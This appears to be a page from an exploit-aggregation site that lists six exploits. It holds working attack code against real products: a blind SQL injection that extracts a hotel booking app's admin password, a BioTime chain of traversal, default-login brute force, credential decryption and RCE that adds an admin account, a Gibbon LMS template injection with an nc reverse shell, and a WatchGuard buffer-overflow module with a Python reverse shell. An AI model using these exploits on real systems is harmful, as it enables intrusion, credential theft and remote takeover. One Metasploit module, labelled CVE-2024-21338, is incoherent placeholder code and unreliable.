Latest exploits :: CodePwn

<pre><code># Exploit Title: Online Hotel Booking In PHP 1.0 - Blind SQL Injection (Unauthenticated) # Google Dork: n/a # Date: 04/02/2024 # Exploit Author: Gian Paris C. Agsam # Vendor Homepage: https://github.com/projectworldsofficial # Software Link: https://projectworlds.in/wp-content/uploads/2019/06/hotel-booking.zip # Version: 1.0 # Tested on: Apache/2.4.58 (Debian) / PHP 8.2.12 # CVE : n/a import requests import argparse from colorama import (Fore as F, Back as B, Style as S) BR,FT,FR,FG,FY,FB,FM,FC,ST,SD,SB,FW = B.RED,F.RESET,F.RED,F.GREEN,F.YELLOW,F.BLUE,F.MAGENTA,F.CYAN,S.RESET_ALL,S.DIM,S.BRIGHT,F.WHITE requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning) proxies = {'http': 'http://127.0.0.1:8080', 'https': 'http://127.0.0.1:8080'} parser = argparse.ArgumentParser(description='Exploit Blind SQL Injection') parser.add_argument('-u', '--url', help='') args = parser.parse_args() def banner(): print(f"""{FR} ·▄▄▄·▄▄▄.▄▄ · ▄▄▄ . ▄▄· ·▄▄▄▄ ▄▄▄ ▪ ·▄▄▄▄ ▪ ▐▄▄·▐▄▄·▐█ ▀. ▀▄.▀·▐█ ▌▪██▪ ██ ▀▄ █·▪ ██ ██▪ ██ ▄█▀▄ ██▪ ██▪ ▄▀▀▀█▄▐▀▀▪▄██ ▄▄▐█· ▐█▌▐▀▀▄ ▄█▀▄ ▐█·▐█· ▐█▌ ▐█▌.▐▌██▌.██▌.▐█▄▪▐█▐█▄▄▌▐███▌██. ██ ▐█•█▌▐█▌.▐▌▐█▌██. ██ ▀█▄▀▪▀▀▀ ▀▀▀ ▀▀▀▀ ▀▀▀ ·▀▀▀ ▀▀▀▀▀• .▀ ▀ ▀█▄▀▪▀▀▀▀▀▀▀▀• Github: https://github.com/offensive-droid {FW} """) # Define the characters to test chars = [ 'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2', '3', '4', '5', '6', '7', '8', '9', '@', '#' ] def sqliPayload(char, position, userid, column, table): sqli = 'admin\' UNION SELECT IF(SUBSTRING(' sqli += str(column) + ',' sqli += str(position) + ',1) = \'' sqli += str(char) + '\',sleep(3),null) FROM ' sqli += str(table) + ' WHERE uname="admin"\'' return sqli def postRequest(URL, sqliReq, char, position): sqliURL = URL params = {"emailusername": "admin", "password": sqliReq, "submit": "Login"} req = requests.post(url=sqliURL, data=params, verify=False, proxies=proxies, timeout=10) if req.elapsed.total_seconds() >= 2: print("{} : {}".format(char, req.elapsed.total_seconds())) return char return '' def theHarvester(target, CHARS, url): #print("Retrieving: {} {} {}".format(target['table'], target['column'], target['id'])) print("Retrieving admin password".format(target['table'], target['column'], target['id'])) position = 1 full_pass = "" while position < 5: for char in CHARS: sqliReq = sqliPayload(char, position, target['id'], target['column'], target['table']) found_char = postRequest(url, sqliReq, char, position) full_pass += found_char position += 1 return full_pass if __name__ == "__main__": banner() HOST = str(args.url) PATH = HOST + "/hotel booking/admin/login.php" adminPassword = {"id": "1", "table": "manager", "column": "upass"} adminPass = theHarvester(adminPassword, chars, PATH) print("Admin Password:", adminPass) </code></pre>

<pre><code>############################################# # Exploit Title : EXPLOIT Microsoft Windows Kernel Exposed IOCTL with Insufficient Access Control Vulnerability CVE-2024-21338 # # # This module requires Metasploit: https://metasploit.com/download # # Author : E1.Coders # # # # Contact : E1.Coders [at] Mail [dot] RU # # # # Security Risk : High # # # # # ############################################# require 'msf/core' class MetasploitModule < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::DCERPC include Msf::Exploit::Remote::DCERPC::MS08_067::Artifact def initialize(info = {}) super( update_info( info, 'Name' => 'CVE-2024-21338 Exploit', 'Description' => 'This module exploits a vulnerability in FooBar version 1.0. It may lead to remote code execution.', 'Author' => 'You', 'License' => MSF_LICENSE, 'References' => [ ['CVE', '2024-21338'] ] ) ) register_options( [ OptString.new('RHOST', [true, 'The target address', '127.0.0.1']), OptPort.new('RPORT', [true, 'The target port', 1234]) ] ) end def check connect begin impacket_artifact(dcerpc_binding('ncacn_ip_tcp'), 'FooBar') rescue Rex::Post::Meterpreter::RequestError return Exploit::CheckCode::Safe end Exploit::CheckCode::Appears end def exploit connect begin impacket_artifact( dcerpc_binding('ncacn_ip_tcp'), 'FooBar', datastore['FooBarPayload'] ) rescue Rex::Post::Meterpreter::RequestError fail_with Failure::UnexpectedReply, 'Unexpected response from impacket_artifact' end handler disconnect end end #refrence : https://nvd.nist.gov/vuln/detail/CVE-2024-21338 </code></pre>

<pre><code># Exploit Title: Stored Cross-Site Scripting (XSS) in ARIS: Business Process Management # Edition Version 10.0.21.0 # Exploit Author: Seid Yassin # Date: 2024-03-28 # Vendor: Software AG # Software Link: https://aris.com/ # Version: ARIS: Business Process Management ## Description: Discovered a file upload feature lacking proper file extension validation. This vulnerability allows attackers to upload any type of file, including malicious ones. To demonstrate this, we successfully uploaded an SVG file to carry out a Cross-Site Scripting (XSS) attack. In XSS attacks, malicious scripts are injected into web pages viewed by other users, potentially leading to data theft or unauthorized actions leading to potential theft of cookies and session tokens. ## Background: Cross-site scripting (XSS) is a common web security vulnerability that compromises user interactions with a vulnerable application. Stored XSS occurs when user input is stored in the application and executed whenever a user triggers or visits the page. ## Issue: A stored cross-site scripting (XSS) vulnerability in ARIS: Business Process Management software enables a malicious authenticated user to store a xss payload(via SVG) using the web interface. Then, when viewed by a properly authenticated user or administrator, the JavaScript payload executes within SVG and disguises all associated actions as performed by that unsuspecting authenticated user/administrator. ## Steps To Reproduce: 1. Log into the ARIS application. 2. Navigate to my tasks and select any of the task and upload documents (change request form) 3. Insert any svg file with xss script in it . eg. https://gist.github.com/rudSarkar/76f1ce7a65c356a5cd71d058ab76a344 ## Expected Result: After a user uploads a new document in the Change Request Form, they can utilize the link for the SVG file and UUID to access another path at {{url}}/documents/api/documents/{{UUID}}/content ## Actual Result: The ARIS application is vulnerable to Stored Cross-Site Scripting, as evidenced by the successful execution of the injected payload. ## Proof of Concept: Attached Screenshots for the reference. </code></pre>

<pre><code># __________.__ ___________.__ # \______ \__| ___\__ ___/|__| _____ ____ # | | _/ |/ _ \| | | |/ \_/ __ \ # | | \ ( <_> ) | | | Y Y \ ___/ # |______ /__|\____/|____| |__|__|_| /\___ > # \/ \/ \/ # Tested on 8.5.5 (Build:20231103.R1905) # Tested on 9.0.1 (Build:20240108.18753) # BioTime, "time" for shellz! # https://claroty.com/team82/disclosure-dashboard/cve-2023-38952 # https://claroty.com/team82/disclosure-dashboard/cve-2023-38951 # https://claroty.com/team82/disclosure-dashboard/cve-2023-38950 # RCE by adding a user to the system, not the app. # Relay machine creds over smb, while creating a backup # Decrypt SMTP, LDAP or SFTP creds, if any. # Get sql backup. Good luck cracking those hashes! # Can use Banner to determine which version is running # Server: Apache/2.4.29 (Win64) mod_wsgi/4.5.24 Python/2.7 # Server: Apache/2.4.52 (Win64) mod_wsgi/4.7.1 Python/3.7 # Server: Apache/2.4.48 (Win64) mod_wsgi/4.7.1 Python/3.7 # Server: Apache => BioTime Version 9 # @w3bd3vil - Krash Consulting (https://krashconsulting.com/fury-of-fingers-biotime-rce/) import requests from bs4 import BeautifulSoup import os import json import sys from Crypto.Cipher import AES from Crypto.Cipher import ARC4 import base64 from binascii import b2a_hex, a2b_hex requests.packages.urllib3.disable_warnings() proxies = { 'http': 'http://127.0.0.1:8080', # Proxy for HTTP traffic 'https': 'http://127.0.0.1:8080' # Proxy for HTTPS traffic } proxies = {} target = sys.argv[1] def decrypt_rc4(base64_encoded_rc4, password="biotime"): encrypted_data = base64.b64decode(base64_encoded_rc4) cipher = ARC4.new(password.encode()) decrypted_data = cipher.decrypt(encrypted_data) return decrypted_data.decode() # base64_encoded_rc4 = "fj8xD5fAY6r6s3I=" # password = "biotime" # decrypted_data = decrypt_rc4(base64_encoded_rc4, password) # print("Decrypted data:", decrypted_data) AES_PASSWORD = b'china@2018encryption#aes' AES_IV = b'zkteco@china2019' def filling_data(data, restore=False): ''' :param data: str :return: str ''' if restore: return data[0:-ord(data[-1])] block_size = AES.block_size # Use AES.block_size instead of None.block_size return data + (block_size - len(data) % block_size) * chr(block_size - len(data) % block_size) def aes_encrypt(content): ''' Encryption :param content: str, The length of content must be times of AES.block_size, using filling_data to fill out :return: str ''' if isinstance(content, bytes): content = str(content, 'utf-8') cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV) encrypted = cipher.encrypt(filling_data(content).encode('utf-8')) result = b2a_hex(encrypted).decode('utf-8') return result def aes_decrypt(content): ''' Decryption :param content: str or bytes, Encryption string :return: str ''' if isinstance(content, str): content = content.encode('utf-8') cipher = AES.new(AES_PASSWORD, AES.MODE_CBC, AES_IV) result = cipher.decrypt(a2b_hex(content)).decode('utf-8') return filling_data(result, restore=True) #Check BioTime url = f'{target}/license/' response = requests.get(url, proxies=proxies, verify=False) html_content = response.content soup = BeautifulSoup(html_content, 'html.parser') build_lines = [line.strip() for line in soup.get_text().split('\n') if 'build' in line.lower()] build = None for line in build_lines: build = line print(f"Found BioTime: {line}") break if build != None: buildNumber = build[0] else: print("Unsupported Target!") sys.exit(1) # Dir Traversal url = f'{target}/iclock/file?SN=win&url=/../../../../../../../../windows/win.ini' response = requests.get(url, proxies=proxies, verify=False) try: print("Dir Traversal Attempt\nOutput of windows/win.ini file:") print(base64.b64decode(response.text).decode('utf-8')) try: url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../biotime/attsite.ini' response = requests.get(url, proxies=proxies, verify=False) attConfig = base64.b64decode(response.text).decode('utf-8') #print(f"Output of BioTime config file: {attConfig}") except: try: url = f'{target}/iclock/file?SN=att&url=/../../../../../../../../zkbiotime/attsite.ini' response = requests.get(url, proxies=proxies, verify=False) attConfig = base64.b64decode(response.text).decode('utf-8') #print(f"Output of BioTime config file: {attConfig}") except: print("Couldn't get BioTime config file (possibly non default configuration)") lines = attConfig.split('\n') for i, line in enumerate(lines): if "PASSWORD=@!@=" in line: dec_att = decrypt_rc4(lines[i].split("@!@=")[1]) lines[i] = lines[i].split("@!@=")[0]+dec_att attConfig_modified = '\n'.join(lines) print(f"Output of BioTime Decrypted config file:\n{attConfig_modified}") except: print("Couldn't exploit Dir Traversal") # Extract Cookies url = f'{target}/login/' response = requests.get(url, proxies=proxies, verify=False) if response.status_code == 200: soup = BeautifulSoup(response.text, 'html.parser') csrf_token_header = soup.find('input', {'name': 'csrfmiddlewaretoken'}) if csrf_token_header: csrf_token_header_value = csrf_token_header['value'] print(f"CSRF Token Header: {csrf_token_header_value}") session_id_cookie = response.cookies.get('sessionid') if session_id_cookie: print(f"Session ID: {session_id_cookie}") csrf_token_value = response.cookies.get('csrftoken') if csrf_token_value: print(f"CSRF Token Cookie: {csrf_token_value}") else: print(f"Failed to retrieve data from {url}. Status code: {response.status_code}") # Login Now! cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } for i in range(1,10): username = i password = '123456' # Deafult password! data = { 'username': username, 'password': password, 'captcha':'', 'login_user':'employee' } headers = { 'User-Agent': 'Krash Consulting', 'X-CSRFToken': csrf_token_header_value } response = requests.post(url, data=data, cookies=cookies, headers=headers, proxies=proxies, verify=False) if response.status_code == 200: json_response = response.json() ret_value = json_response.get('ret') if ret_value == 0: print(f"Valid Credentials found: Username is {username} and password is {password}") session_id_cookie = response.cookies.get('sessionid') if session_id_cookie: print(f"Auth Session ID: {session_id_cookie}") csrf_token_value = response.cookies.get('csrftoken') if csrf_token_value: print(f"Auth CSRF Token Cookie: {csrf_token_value}") break if i == 9: print("No valid users found!") sys.exit(1) # Check for Backups def downloadBackup(): url = f'{target}/base/dbbackuplog/table/?page=1&limit=33' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) response_data = response.json() print("Backup files list") print(json.dumps(response_data, indent=4)) if response_data['count'] > 0: backup_info = response_data['data'][0] # Latest Backup operator_name = backup_info['operator'] backup_file = backup_info['backup_file'] db_type = backup_info['db_type'] print("Operator:", operator_name) print("Backup File:", backup_file) print("Database Type:", db_type) if buildNumber == "9": createBackup() print("Backup File password: Krash") #download = os.path.basename(backup_file) path = os.path.normpath(backup_file) try: split_path = path.split(os.sep) files_index = split_path.index('files') relative_path = '/'.join(split_path[files_index + 1:]) except: return False url = f'{target}/files/{relative_path}' print(url) response = requests.get(url, proxies=proxies, verify=False) if response.status_code == 200: filename = os.path.basename(url) with open(filename, 'wb') as file: file.write(response.content) print(f"File '{filename}' downloaded successfully.") else: print("Failed to download the file. Status code:", response.status_code) return False else: print("No backup Found!") return True def createBackup(targetPath=None): print("Attempting to create backup.") url = f'{target}/base/dbbackuplog/action/?action_name=44424261636b75704d616e75616c6c79&_popup=true&id=' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) html_content = response.content soup = BeautifulSoup(html_content, 'html.parser') pathBackup = [line.strip() for line in soup.get_text().split('\n') if 'name="file_path"' in line.lower()] print(f"Possible backup location: {pathBackup}") url = f'{target}/base/dbbackuplog/action/' if targetPath == None: if buildNumber == "9" or build[:5] == "8.5.5": targetPath = "C:\\ZKBioTime\\files\\backup\\" else: targetPath = "C:\\BioTime\\files\\fw\\" if buildNumber == "9": data = { 'csrfmiddlewaretoken': csrf_token_value, 'file_path':targetPath, 'action_name': '44424261636b75704d616e75616c6c79', 'backup_encryption_choices': '2', 'auto_backup_password': 'Krash' } else: data = { 'csrfmiddlewaretoken': csrf_token_value, 'file_path':targetPath, 'action_name': '44424261636b75704d616e75616c6c79' } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) if response.status_code == 200: print("Backup Initiated.") else: print("Backup failed!") if downloadBackup(): createBackup() downloadBackup() url = f'{target}/base/api/systemSettings/email_setting/' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) if response.status_code == 200: response_data = response.json() print("SMTP Settings") for key in response_data: if 'password' in key.lower(): value = response_data[key] #print(f'{key} decrypted value {aes_decrypt(value)}') response_data[key] = aes_decrypt(value) print(json.dumps(response_data, indent=4)) url = f'{target}/base/api/systemSettings/ldap_setup/' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) if response.status_code == 200: response_data = response.json() print("LDAP Settings") for key in response_data: if 'password' in key.lower(): value = response_data[key] #print(f'{key} decrypted value {aes_decrypt(value)}') response_data[key] = aes_decrypt(value) print(json.dumps(response_data, indent=4)) def sftpRCE(): print("Attempting RCE!") #Add SFTP, Need valid IP/credentials here! print("Adding FTP List") url = f'{target}/base/sftpsetting/add/' myIpaddr = '192.168.0.11' myUser = 'test' myPassword = 'test@123' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } data = { 'csrfmiddlewaretoken': csrf_token_value, 'host':myIpaddr, 'port':22, 'is_sftp': 1, 'user_name':myUser, 'user_password':myPassword, 'user_key':'', 'action_name': '47656e6572616c416374696f6e4e6577' } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) print(response) url = f'{target}/base/sftpsetting/table/?page=1&limit=33' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } response = requests.get(url, cookies=cookies, proxies=proxies, verify=False) response_data = response.json() print("FTP List") print(json.dumps(response_data, indent=4)) backup_info = response_data['data'][0] # Latest SFTP getID = backup_info['id'] if getID: print("ID to edit ", getID) #Edit SFTP (Response can have errors, it doesn't matter) print("Editing SFTP Settings") if buildNumber == "9": dirTraverse = '\..\..\..\python311\lib\io.py' else: dirTraverse = '\..\..\..\python37\lib\io.py' if len(dirTraverse) > 30: print("Directory Traversal length is greater than 30, will not work!") sys.exit(1) url = f'{target}/base/sftpsetting/edit/' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } data = { 'csrfmiddlewaretoken': csrf_token_value, 'host':myIpaddr, 'port':22, 'is_sftp': 1, 'user_name': dirTraverse, 'user_password':myPassword, 'user_key':'import os\nos.system("net user /add omair190 KCP@ssw0rd && net localgroup administrators ...', 'obj_id': getID } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) print("A new user should be added now on the server \nusername: omair190\npassword: KCP@ssw0rd") #Delete SFTP print("Deleting SFTP Settings") url = f'{target}/base/sftpsetting/action/' cookies = { 'sessionid': session_id_cookie, 'csrftoken': csrf_token_value } data = { 'csrfmiddlewaretoken': csrf_token_value, 'id': getID, 'action_name': '47656e6572616c416374696f6e44656c657465' } response = requests.post(url, cookies=cookies, data=data, proxies=proxies, verify=False) #RCE if buildNumber == "9" or build[:5] == "8.5.5": sftpRCE() # #Relay Creds # createBackup("\\\\192.168.0.11\\KC\\test") </code></pre>

<pre><code># Exploit Title: Gibbon LMS has an SSTI vulnerability on the v26.0.00 version # Date: 21.01.2024 # Exploit Author: SecondX.io Research Team(Islam Rzayev,Fikrat Guliev, Ali Maharramli) # Vendor Homepage: https://gibbonedu.org/ # Software Link: https://github.com/GibbonEdu/core # Version: v26.0.00 # Tested on: Ubuntu 22.0 # CVE : CVE-2024-24724 import requests import re import sys def login(target_host, target_port,email,password): url = f'http://{target_host}:{target_port}/login.php?timeout=true' headers = {"Content-Type": "multipart/form-data; boundary=---------------------------174475955731268836341556039466"} data = f"-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"method\"\r\n\r\ndefault\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"username\"\r\n\r\n{email}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"password\"\r\n\r\n{password}\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibbonSchoolYearID\"\r\n\r\n025\r\n-----------------------------174475955731268836341556039466\r\nContent-Disposition: form-data; name=\"gibboni18nID\"\r\n\r\n0002\r\n-----------------------------174475955731268836341556039466--\r\n" r = requests.post(url, headers=headers, data=data, allow_redirects=False) Session_Cookie = re.split(r"\s+", r.headers['Set-Cookie']) if Session_Cookie[4] is not None and '/index.php' in str(r.headers['Location']): print("login successful!") return Session_Cookie[4] def rce(cookie, target_host, target_port, attacker_ip, attacker_port): url = f'http://{target_host}:{target_port}/modules/School%20Admin/messengerSettingsProcess.php' headers = {"Content-Type": "multipart/form-data; boundary=---------------------------67142646631840027692410521651", "Cookie": cookie} data = f"-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"address\"\r\n\r\n/modules/School Admin/messengerSettings.php\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"enableHomeScreenWidget\"\r\n\r\nY\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"signatureTemplate\"\r\n\r\n{{{{[\'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc {attacker_ip} {attacker_port} >/tmp/f']|filter('system')}}}}\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"messageBcc\"\r\n\r\n\r\n-----------------------------67142646631840027692410521651\r\nContent-Disposition: form-data; name=\"pinnedMessagesOnHome\"\r\n\r\nN\r\n-----------------------------67142646631840027692410521651--\r\n" r = requests.post(url, headers=headers, data=data, allow_redirects=False) if 'success0' in str(r.headers['Location']): print("Payload uploaded successfully!") def trigger(cookie, target_host, target_port): url = f'http://{target_host}:{target_port}/index.php?q=/modules/School%20Admin/messengerSettings.php&return=success0' headers = {"Cookie": cookie} print("RCE successful!") r = requests.get(url, headers=headers, allow_redirects=False) if __name__ == '__main__': if len(sys.argv) != 7: print("Usage: script.py <target_host> <target_port> <attacker_ip> <attacker_port> <email> <password>") sys.exit(1) cookie = login(sys.argv[1], sys.argv[2],sys.argv[5],sys.argv[6]) rce(cookie, sys.argv[1], sys.argv[2], sys.argv[3], sys.argv[4]) trigger(cookie, sys.argv[1], sys.argv[2]) </code></pre>

<pre><code>## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'zlib' class MetasploitModule < Msf::Exploit::Remote Rank = GoodRanking include Msf::Exploit::Remote::HttpClient prepend Msf::Exploit::Remote::AutoCheck def initialize(info = {}) super( update_info( info, 'Name' => 'WatchGuard XTM Firebox Unauthenticated Remote Command Execution', 'Description' => %q{ This module exploits a buffer overflow at the administration interface (8080 or 4117) of WatchGuard Firebox and XTM appliances which is built from a cherrypy python backend sending XML-RPC requests to a C binary called wgagent using pre-authentication endpoint /agent/login. This vulnerability impacts Fireware OS before 12.7.2_U2, 12.x before 12.1.3_U8, and 12.2.x through 12.5.x before 12.5.9_U2. Successful exploitation results in remote code execution as user nobody. }, 'Author' => [ 'h00die-gr3y <h00die.gr3y[at]gmail.com>', # Metasploit module 'Charles Fol (Ambionics Security)', # discovery 'Dylan Pindur (AssetNote)', # reverse engineering of CVE-2022-26318' 'Misterxid' # POC ], 'References' => [ [ 'CVE', '2022-26318' ], [ 'URL', 'https://www.ambionics.io/blog/hacking-watchguard-firewalls' ], [ 'URL', 'https://www.assetnote.io/resources/research/diving-deeper-into-watchguard-pre-auth-rce-cve-2022-26318' ], [ 'URL', 'https://github.com/misterxid/watchguard_cve-2022-26318' ], [ 'URL', 'https://attackerkb.com/topics/t8Nrnu99ZE/cve-2022-26318' ] ], 'License' => MSF_LICENSE, 'Platform' => [ 'unix' ], 'Privileged' => false, 'Arch' => [ ARCH_CMD ], 'Targets' => [ [ 'Automatic (Reverse Python Interactive Shell)', { 'Platform' => [ 'unix' ], 'Arch' => ARCH_CMD, 'Type' => :unix_cmd, 'DefaultOptions' => { 'PAYLOAD' => 'cmd/unix/reverse_python', 'SHELL' => '/usr/bin/python' } } ] ], 'DefaultTarget' => 0, 'DisclosureDate' => '2022-08-29', 'DefaultOptions' => { 'SSL' => true, 'RPORT' => 8080 }, 'Notes' => { 'Stability' => [ SERVICE_RESOURCE_LOSS ], 'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS ], 'Reliability' => [ REPEATABLE_SESSION ] } ) ) register_options( [ OptString.new('TARGETURI', [ true, 'WatchGuard Firebox base url', '/' ]) ] ) end def check_watchguard_firebox? res = send_request_cgi({ 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, 'auth', 'login'), 'vars_get' => { 'from_page' => '/' } }) return true if res && res.code == 200 && res.body.include?('Powered by WatchGuard Technologies') && res.body.include?('Firebox') false end def create_bof_payload # temporary filename in /tmp where python payload will be stored. @py_fname = "/tmp/#{Rex::Text.rand_text_alphanumeric(4)}.py" # xml overflow payload payload = '<methodCall><methodName>agent.login</methodName><params><param><value><struct><member><value><'.encode payload << ('A' * 3181).encode payload << 'MFA>'.encode payload << ('<BBBBMFA>' * 3680).encode # padding and rop chain payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00 P@\x00\x00" payload << "\x00\x00\x00h\xf9@\x00\x00\x00\x00\x00 P@\x00\x00\x00\x00\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xb1\xd5A" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00}^@\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00|^@\x00\x00\x00\x00\x00\xad\xd2A\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x0e\xd6A\x00\x00\x00\x00\x00\xc0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00*\xa9@\x00\x00\x00\x00\x00H\x8d=\x9d\x00\x00\x00\xbeA\x02\x00\x00\xba\xb6" payload << "\x01\x00\x00\xb8\x02\x00\x00\x00\x0f\x05H\x89\x05\x92\x00\x00\x00H\x8b\x15\x93\x00\x00\x00H\x8d5\x94\x00" payload << "\x00\x00H\x8b=}\x00\x00\x00\xb8\x01\x00\x00\x00\x0f\x05H\x8b=o\x00\x00\x00\xb8\x03\x00\x00\x00\x0f\x05\xb8;" payload << "\x00\x00\x00H\x8d=?\x00\x00\x00H\x89= \x00\x00\x00H\x8d5A\x00\x00\x00H\x895\x1a\x00\x00\x00H\x8d5\x0b\x00" payload << "\x00\x001\xd2\x0f\x05\xb8<\x00\x00\x00\x0f\x05\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00" payload << "\x00\x00\x00\x00\x00\x00\x00\x00\x00#{datastore['SHELL']}\x00#{@py_fname}\x00\x00\x00\x00\x00\x00\x00\x00\x00\xef" payload << "\x01\x00\x00\x00\x00\x00\x00" # shell code to launch an reverse interactive python shell # The Watchguard appliance has a very restricted linux command set, readonly root filesystem and no unix shells installed # The interactive Python shell (-i) is for now the only way to get shell access payload << 'import socket;from subprocess import call; from os import dup2;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'.encode payload << "s.connect((\"#{datastore['LHOST']}\",#{datastore['LPORT']})); dup2(s.fileno(),0); dup2(s.fileno(),1); dup2(s.fileno(),2);".encode payload << "call([\"#{datastore['SHELL']}\",\"-i\"]);".encode payload << "import os; os.remove(\"#{@py_fname}\");".encode return Zlib.gzip(payload) end def check print_status("Checking if #{peer} can be exploited.") return CheckCode::Detected if check_watchguard_firebox? CheckCode::Safe end def exploit print_status("#{peer} - Attempting to exploit...") bof_payload = create_bof_payload print_status("#{peer} - Sending payload...") send_request_cgi({ 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, 'agent', 'login'), 'headers' => { 'Accept-Encoding' => 'gzip, deflate', 'Content-Encoding' => 'gzip' }, 'data' => bof_payload }) end end </code></pre>